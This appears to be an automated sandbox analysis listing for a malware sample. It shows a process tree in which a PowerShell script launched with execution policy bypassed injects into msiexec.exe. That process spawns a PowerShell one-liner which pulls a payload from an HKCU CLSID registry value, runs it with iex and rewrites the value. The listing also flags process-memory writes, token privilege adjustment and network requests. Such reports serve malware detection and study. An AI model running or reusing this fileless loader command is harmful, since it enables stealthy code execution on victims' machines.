powershell.exemsiexec.exedescription pid process target process PID 2776 wrote to memory of 2284 2776 powershell.exe msiexec.exe PID 2776 wrote to memory of 2284 2776 powershell.exe msiexec.exe PID 2284 wrote to memory of 4400 2284 msiexec.exe powershell.exe PID 2284 wrote to memory of 4400 2284 msiexec.exe powershell.exe
Processes
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\1728.ps11⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2776 -
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe2⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2284 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -c "&{$v1='6133';$k1='hkcu:\Software\Classes\CLSID';$p1=(gp $k1).$v1;rp $k1 $v1;set-itemproperty -pat $k1 -n $v1 -va (($p1|iex)|out-string);exit}"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4400
-
-